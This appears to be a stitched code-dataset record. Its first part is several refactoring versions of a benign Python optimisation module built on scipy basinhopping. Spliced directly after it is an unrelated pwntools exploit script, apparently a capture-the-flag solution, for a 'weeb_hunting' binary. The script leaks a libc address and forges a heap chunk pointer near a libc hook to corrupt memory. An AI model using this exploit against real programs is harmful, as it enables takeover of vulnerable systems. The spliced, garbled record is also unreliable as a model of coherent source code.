None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\ndef optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter):\n \"\"\"Erlang Entry Point to Optimization Module\"\"\"\n B_table = parse_behaviours(behaviours)\n BTG = parse_edgelist(btg)\n F = parse_prediction(prediction)\n path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10)\n return list(path), map(lambda x: int(x) + start, t.x)\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.0, maxiter=20, Acc0=None,\n method='SLSQP'):\n \"\"\"\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n \"\"\"\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table, BTG,\n t_max, F, dt=dt, Acc0=Acc0)\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds\n (), 'constraints': bounds.SLSQP_constraints()[method.lower()]}\n result = basinhopping(L, x0.copy(), accept_test=bounds, take_step=\n step_taker, stepsize=10 * dt, niter=maxiter, T=initial_T,\n interval=20, minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)), key=lambda\n x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0, q_acc_model=qsim.\n integrator, q_acc_model_args=[], q_model_kwargs={}, q_relief_model=qsim\n .linear_relief, deadtime_penalty=4):\n \"\"\"Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n \"\"\"\n B = np.vstack(BTable[bid] for bid in path)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0.0, (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n \"\"\"Simulate the queue effects, and then evaluate the objective function\n on the simulation result\"\"\"\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=\n BTable, Acc0=Acc0, relief_mode_kwargs={'rate': 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n return -obj(x, B, cum_Z, taus, dt=dt) + 0.25 * avg_rates.dot(Deadtimes\n ) ** 2 - avg_rates.sum() * Acc.sum()\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\n<mask token>\n\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n \"\"\"[(bid, [bvec])] -> {bid: <bvec>}\"\"\"\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\n\ndef parse_prediction(F):\n \"\"\"[[float]] -> np.array(...) of same shape\"\"\"\n return np.array(F)\n\n\n<mask token>\n\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n \"\"\"Penalty brutally dominates any out-of-index operation...\"\"\"\n z = cum_F.shape[-1] - 1\n if not 0 <= a <= z or not 0 <= b <= z:\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\n\n<mask token>\n\n\ndef barrier(times, path, BTG):\n \"\"\"Handles Linear/causality Constraints with respect to transitions\"\"\"\n t = [0] + list(times)\n S = 0.0\n for i in xrange(len(path) - 1):\n edge = path[i], path[i + 1]\n tau = BTG[edge]\n S += min(0, t[i + 1] - t[i] - tau)\n return S\n",
"step-3": "<mask token>\n\n\nclass Bounds(object):\n \"\"\"Required for acceptance testing in scipy.optimize.basinhopping\"\"\"\n\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [(x[i] + c <= x[i + 1]) for i, c in enumerate(self.costs\n [1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs['x_new']\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n \"\"\"Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i\"\"\"\n funs = [(lambda x: x[i + 1] - x[i] + c) for i, c in enumerate(self.\n costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [(lambda x: x[i]) for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n n = len(self.costs)\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n - 1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {'slsqp': {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)\n }, 'cobyla': [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n \"\"\"Return bounds as sequence\"\"\"\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\nclass Stepper(object):\n\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = deflate\n\n def __call__(self, x):\n y = None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\ndef optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter):\n \"\"\"Erlang Entry Point to Optimization Module\"\"\"\n B_table = parse_behaviours(behaviours)\n BTG = parse_edgelist(btg)\n F = parse_prediction(prediction)\n path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10)\n return list(path), map(lambda x: int(x) + start, t.x)\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.0, maxiter=20, Acc0=None,\n method='SLSQP'):\n \"\"\"\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n \"\"\"\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table, BTG,\n t_max, F, dt=dt, Acc0=Acc0)\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds\n (), 'constraints': bounds.SLSQP_constraints()[method.lower()]}\n result = basinhopping(L, x0.copy(), accept_test=bounds, take_step=\n step_taker, stepsize=10 * dt, niter=maxiter, T=initial_T,\n interval=20, minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)), key=lambda\n x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0, q_acc_model=qsim.\n integrator, q_acc_model_args=[], q_model_kwargs={}, q_relief_model=qsim\n .linear_relief, deadtime_penalty=4):\n \"\"\"Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n \"\"\"\n B = np.vstack(BTable[bid] for bid in path)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0.0, (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n \"\"\"Simulate the queue effects, and then evaluate the objective function\n on the simulation result\"\"\"\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=\n BTable, Acc0=Acc0, relief_mode_kwargs={'rate': 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n return -obj(x, B, cum_Z, taus, dt=dt) + 0.25 * avg_rates.dot(Deadtimes\n ) ** 2 - avg_rates.sum() * Acc.sum()\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\ndef parse_edgelist(edges):\n \"\"\"[((a, b), tau)] -> {(a, b): tau}\"\"\"\n return {(a, b): tau for (a, b), tau in edges}\n\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n \"\"\"[(bid, [bvec])] -> {bid: <bvec>}\"\"\"\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\n\ndef parse_prediction(F):\n \"\"\"[[float]] -> np.array(...) of same shape\"\"\"\n return np.array(F)\n\n\ndef initial_soln(path, t_max):\n \"\"\"Evenly Distributed, no check for taus\"\"\"\n j = t_max / len(path)\n return np.array([((i + 1) * j) for i in xrange(len(path) - 1)])\n\n\ndef transition_costs(path, btg):\n \"\"\"Sequence of transition costs associated with the prescribed path\"\"\"\n return [btg[path[i], path[i + 1]] for i in xrange(len(path) - 1)]\n\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n \"\"\"Penalty brutally dominates any out-of-index operation...\"\"\"\n z = cum_F.shape[-1] - 1\n if not 0 <= a <= z or not 0 <= b <= z:\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\n\ndef flow_served(cum_F, times, costs, queue_model=None, dt=1.0):\n \"\"\"Times: [t1, ..., td],\n costs: [t_{b0, b1}, t_{b1, b2}, ...]\n Returns the Fulfillment matrix associated with each behaviour segment.\"\"\"\n discr_index = lambda x: int(x / dt) - 1\n t_steps = [0] + map(discr_index, times)\n t_steps.append(cum_F.shape[-1] - 1)\n c_steps = [0] + map(discr_index, costs)\n result = np.vstack([range_sum(cum_F, t_steps[i] + c_steps[i], t_steps[i +\n 1]) for i in xrange(len(costs) + 1)])\n return result\n\n\ndef obj(times, B, cum_F, costs, dt=1.0):\n \"\"\"Objective Function for Hillclimbing\"\"\"\n Z = B * flow_served(cum_F, times, costs, dt=dt)\n return Z.sum()\n\n\ndef barrier(times, path, BTG):\n \"\"\"Handles Linear/causality Constraints with respect to transitions\"\"\"\n t = [0] + list(times)\n S = 0.0\n for i in xrange(len(path) - 1):\n edge = path[i], path[i + 1]\n tau = BTG[edge]\n S += min(0, t[i + 1] - t[i] - tau)\n return S\n",
"step-4": "from erlport.erlterms import Atom\nfrom scipy.optimize import basinhopping\nimport numpy as np\nimport qsim\n\n\nclass Bounds(object):\n \"\"\"Required for acceptance testing in scipy.optimize.basinhopping\"\"\"\n\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [(x[i] + c <= x[i + 1]) for i, c in enumerate(self.costs\n [1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs['x_new']\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n \"\"\"Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i\"\"\"\n funs = [(lambda x: x[i + 1] - x[i] + c) for i, c in enumerate(self.\n costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [(lambda x: x[i]) for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n n = len(self.costs)\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n - 1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {'slsqp': {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)\n }, 'cobyla': [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n \"\"\"Return bounds as sequence\"\"\"\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\nclass Stepper(object):\n\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = deflate\n\n def __call__(self, x):\n y = None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\ndef optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter):\n \"\"\"Erlang Entry Point to Optimization Module\"\"\"\n B_table = parse_behaviours(behaviours)\n BTG = parse_edgelist(btg)\n F = parse_prediction(prediction)\n path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10)\n return list(path), map(lambda x: int(x) + start, t.x)\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.0, maxiter=20, Acc0=None,\n method='SLSQP'):\n \"\"\"\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n \"\"\"\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table, BTG,\n t_max, F, dt=dt, Acc0=Acc0)\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds\n (), 'constraints': bounds.SLSQP_constraints()[method.lower()]}\n result = basinhopping(L, x0.copy(), accept_test=bounds, take_step=\n step_taker, stepsize=10 * dt, niter=maxiter, T=initial_T,\n interval=20, minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)), key=lambda\n x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0, q_acc_model=qsim.\n integrator, q_acc_model_args=[], q_model_kwargs={}, q_relief_model=qsim\n .linear_relief, deadtime_penalty=4):\n \"\"\"Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n \"\"\"\n B = np.vstack(BTable[bid] for bid in path)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0.0, (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n \"\"\"Simulate the queue effects, and then evaluate the objective function\n on the simulation result\"\"\"\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=\n BTable, Acc0=Acc0, relief_mode_kwargs={'rate': 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n return -obj(x, B, cum_Z, taus, dt=dt) + 0.25 * avg_rates.dot(Deadtimes\n ) ** 2 - avg_rates.sum() * Acc.sum()\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\ndef parse_edgelist(edges):\n \"\"\"[((a, b), tau)] -> {(a, b): tau}\"\"\"\n return {(a, b): tau for (a, b), tau in edges}\n\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n \"\"\"[(bid, [bvec])] -> {bid: <bvec>}\"\"\"\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\n\ndef parse_prediction(F):\n \"\"\"[[float]] -> np.array(...) of same shape\"\"\"\n return np.array(F)\n\n\ndef initial_soln(path, t_max):\n \"\"\"Evenly Distributed, no check for taus\"\"\"\n j = t_max / len(path)\n return np.array([((i + 1) * j) for i in xrange(len(path) - 1)])\n\n\ndef transition_costs(path, btg):\n \"\"\"Sequence of transition costs associated with the prescribed path\"\"\"\n return [btg[path[i], path[i + 1]] for i in xrange(len(path) - 1)]\n\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n \"\"\"Penalty brutally dominates any out-of-index operation...\"\"\"\n z = cum_F.shape[-1] - 1\n if not 0 <= a <= z or not 0 <= b <= z:\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\n\ndef flow_served(cum_F, times, costs, queue_model=None, dt=1.0):\n \"\"\"Times: [t1, ..., td],\n costs: [t_{b0, b1}, t_{b1, b2}, ...]\n Returns the Fulfillment matrix associated with each behaviour segment.\"\"\"\n discr_index = lambda x: int(x / dt) - 1\n t_steps = [0] + map(discr_index, times)\n t_steps.append(cum_F.shape[-1] - 1)\n c_steps = [0] + map(discr_index, costs)\n result = np.vstack([range_sum(cum_F, t_steps[i] + c_steps[i], t_steps[i +\n 1]) for i in xrange(len(costs) + 1)])\n return result\n\n\ndef obj(times, B, cum_F, costs, dt=1.0):\n \"\"\"Objective Function for Hillclimbing\"\"\"\n Z = B * flow_served(cum_F, times, costs, dt=dt)\n return Z.sum()\n\n\ndef barrier(times, path, BTG):\n \"\"\"Handles Linear/causality Constraints with respect to transitions\"\"\"\n t = [0] + list(times)\n S = 0.0\n for i in xrange(len(path) - 1):\n edge = path[i], path[i + 1]\n tau = BTG[edge]\n S += min(0, t[i + 1] - t[i] - tau)\n return S\n",
"step-5": "from erlport.erlterms import Atom\nfrom scipy.optimize import basinhopping\nimport numpy as np\nimport qsim\n\nclass Bounds(object):\n '''Required for acceptance testing in scipy.optimize.basinhopping'''\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [x[i] + c <= x[i+1] for i, c in enumerate(self.costs[1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs[\"x_new\"]\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n '''Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i'''\n funs = [lambda x: x[i + 1] - x[i] + c\n for i, c in enumerate(self.costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [lambda x: x[i] for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n\n # im matrix form\n n = len(self.costs)\n # -x_i <= 0\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n # tmax constraints\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n # cost constraints\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n-1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {\"slsqp\": {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)},\n \"cobyla\": [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n '''Return bounds as sequence'''\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\n\nclass Stepper(object):\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = deflate\n\n def __call__(self, x):\n y = None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\ndef optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter):\n '''Erlang Entry Point to Optimization Module'''\n B_table = parse_behaviours(behaviours)\n BTG = parse_edgelist(btg)\n F = parse_prediction(prediction)\n\n path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10)\n return list(path), map(lambda x: int(x) + start, t.x)\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.,\n maxiter=20, Acc0=None, method=\"SLSQP\"):\n '''\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n '''\n # Given a particular path, find the optimal times to transition\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table,\n BTG, t_max, F, dt=dt, Acc0=Acc0)\n\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds(),\n 'constraints': bounds.SLSQP_constraints()[method.lower()],\n }\n result = basinhopping(L, x0.copy(),\n accept_test=bounds,\n take_step=step_taker, stepsize=10*dt,\n niter=maxiter, T=initial_T,\n interval=20,\n minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)),\n key=lambda x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0,\n q_acc_model=qsim.integrator, q_acc_model_args=[], q_model_kwargs={},\n q_relief_model=qsim.linear_relief,\n deadtime_penalty=4):\n '''Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n '''\n B = np.vstack(BTable[bid] for bid in path) # Behaviour Matrix (d,4)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0., (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n '''Simulate the queue effects, and then evaluate the objective function\n on the simulation result'''\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=BTable,\n Acc0=Acc0, relief_mode_kwargs={\"rate\": 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n\n return (-obj(x, B, cum_Z, taus, dt=dt)\n + 0.25* avg_rates.dot(Deadtimes) ** 2\n - avg_rates.sum()*Acc.sum()) # ????\n\n\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\n# Parsers ###############################################################\ndef parse_edgelist(edges):\n '''[((a, b), tau)] -> {(a, b): tau}'''\n return {(a, b): tau for (a, b), tau in edges}\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n '''[(bid, [bvec])] -> {bid: <bvec>}'''\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\ndef parse_prediction(F):\n '''[[float]] -> np.array(...) of same shape'''\n return np.array(F) # Might not work, will check back later\n\n\n# Optimization ###############################################################\ndef initial_soln(path, t_max):\n '''Evenly Distributed, no check for taus'''\n j = t_max / len(path)\n return np.array([(i + 1) * j for i in xrange(len(path) - 1)])\n\ndef transition_costs(path, btg):\n '''Sequence of transition costs associated with the prescribed path'''\n return [btg[(path[i], path[i+1])] for i in xrange(len(path) - 1)]\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n '''Penalty brutally dominates any out-of-index operation...'''\n z = cum_F.shape[-1] - 1\n if (not 0 <= a <= z) or (not 0 <= b <= z):\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\ndef flow_served(cum_F, times, costs, queue_model=None, dt=1.):\n '''Times: [t1, ..., td],\n costs: [t_{b0, b1}, t_{b1, b2}, ...]\n Returns the Fulfillment matrix associated with each behaviour segment.'''\n discr_index = lambda x: int(x / dt) - 1\n t_steps = [0] + map(discr_index, times)\n t_steps.append(cum_F.shape[-1] - 1) # t_max\n\n c_steps = [0] + map(discr_index, costs)\n\n result = np.vstack([range_sum(cum_F, t_steps[i] + c_steps[i], t_steps[i + 1])\n for i in xrange(len(costs) + 1)])\n return result\n\ndef obj(times, B, cum_F, costs, dt=1.):\n '''Objective Function for Hillclimbing'''\n Z = B * flow_served(cum_F, times, costs, dt=dt)\n return Z.sum()\n\ndef barrier(times, path, BTG):\n '''Handles Linear/causality Constraints with respect to transitions'''\n t = [0] + list(times)\n S = 0.\n for i in xrange(len(path) - 1):\n edge = (path[i], path[i + 1])\n tau = BTG[edge]\n S += min(0, (t[i + 1] - t[i] - tau)) # Only accrue if constraint is voilated\n return S\n",
"step-ids": [
16,
17,
22,
23,
24
]
}
|
[
16,
17,
22,
23,
24
] |
from pwn import *
p = process("./weeb_hunting")
elf = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
pwnlib.gdb.attach(p)
r = p.recv()
while "You found a" not in r:
r = p.recvuntil(">")
p.send("AAAA\n")
p.send("AAAA\n")
r = p.recv()
while "You found a" not in r:
r = p.recvuntil(">")
p.send("AAAA\n")
p.send("AAAA\n")
r = p.recv()
while "You found a" not in r:
r = p.recvuntil(">")
p.send("AAAA\n")
p.send("\n")
r = p.recv()
while "You found a" not in r:
r = p.recvuntil(">")
p.send("\n")
p.send("\n")
r = p.recv()
while "10. empty" not in r:
p.send("\n")
r = p.recv()
p.sendline("1")
r = p.recv()
while "10. empty" not in r:
p.send("\n")
r = p.recv()
p.sendline("4")
r = p.recv()
while "You found a" not in r:
p.send("\n")
r = p.recv()
p.sendline('\x41\x22\x60')
r = p.recv()
while "You found a" not in r:
p.send("\n")
r = p.recv()
p.sendline('AAAA')
r = p.recv()
while "You found a" not in r:
p.send("\n")
r = p.recv()
p.sendline('AAAA')
r = p.recv()
while "You found a sword" not in r:
p.send("\n")
r = p.recv()
p.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `")
r = p.recv()
while "10. empty" not in r:
p.send("\n")
r = p.recv()
__srandom = u64((r.split("1. ")[1].split("\n")[0] + "\x00"*8)[:8])
log.info(hex(__srandom))
hook = __srandom + 0x38A21D
log.info("Fake chunk: " + hex(hook))
p.sendline("2")
r = p.recv()
while "10. empty" not in r:
p.send("\n")
r = p.recv()
p.sendline("3")
r = p.recv()
while "10. empty" not in r:
p.send("\n")
r = p.recv()
p.sendline("4")
r = p.recv()
while "10. empty" not in r:
p.send("\n")
r = p.recv()
p.sendline("3")
r = p.recv()
while "You found a" not in r:
p.send("\n")
r = p.recv()
p.sendline(p64(hook)[:6])
p.interactive()
|
normal
|
{
"blob_id": "5eb4c71869b077dac0d61072c99d801030395fc2",
"index": 636,
"step-1": "<mask token>\n",
